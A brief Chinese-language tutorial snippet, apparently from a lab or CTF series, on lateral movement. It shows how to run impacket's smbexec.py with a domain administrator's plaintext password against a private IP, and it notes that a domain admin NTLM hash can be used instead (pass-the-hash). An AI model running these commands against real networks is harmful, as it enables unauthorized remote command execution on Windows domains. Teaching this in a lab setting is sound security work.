十，横向移动_impacket_smbexec利用密码

首先要安装好 impacket
https://github.com/fortra/impacket
  
进入examples目录，执行

[Bash shell] 纯文本查看 复制代码

python3 smbexec.py bihuo/administrator:ctf8.COM@192.168.100.10

也可以使用域管的hash值


b9584554b584ff94fca39615b29bbac9